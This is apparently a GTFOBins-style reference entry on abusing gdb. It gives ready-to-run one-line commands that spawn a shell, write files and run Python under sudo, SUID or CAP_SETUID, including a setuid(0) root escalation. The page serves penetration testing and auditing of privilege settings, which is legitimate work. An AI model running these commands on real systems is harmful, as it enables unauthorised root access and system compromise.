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• Shell
• File write
• Inherit
• Shell
• Reverse shell
• File write
• File read
• Upload
• Download
• Library load

Shell

This executable can spawn an interactive system shell.

• Unprivileged

  This function can be performed by any unprivileged user.

  gdb -nx -ex '!/bin/sh' -ex quit

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  gdb -nx -ex '!/bin/sh' -ex quit

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Remarks

  This executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.

  gdb -nx -ex '!/bin/sh' -ex quit

  Capabilities

  This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.

  The following capabilities are needed: CAP_SETUID.

  gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit

File write

This executable can write data to local files.

• Unprivileged

  This function can be performed by any unprivileged user.

  gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit

Inherit

This executable can inherit functions from another.

• Comment

  This allows to run Python code (...).

  Unprivileged

  This function can be performed by any unprivileged user.

  gdb -nx -ex 'python ...' -ex quit

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  gdb -nx -ex 'python ...' -ex quit

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  gdb -nx -ex 'python ...' -ex quit

  Functions

  Inherits from python, thus possibly granting the following functions:

  • Shell
  • Reverse shell
  • File write
  • File read
  • Upload
  • Download
  • Library load

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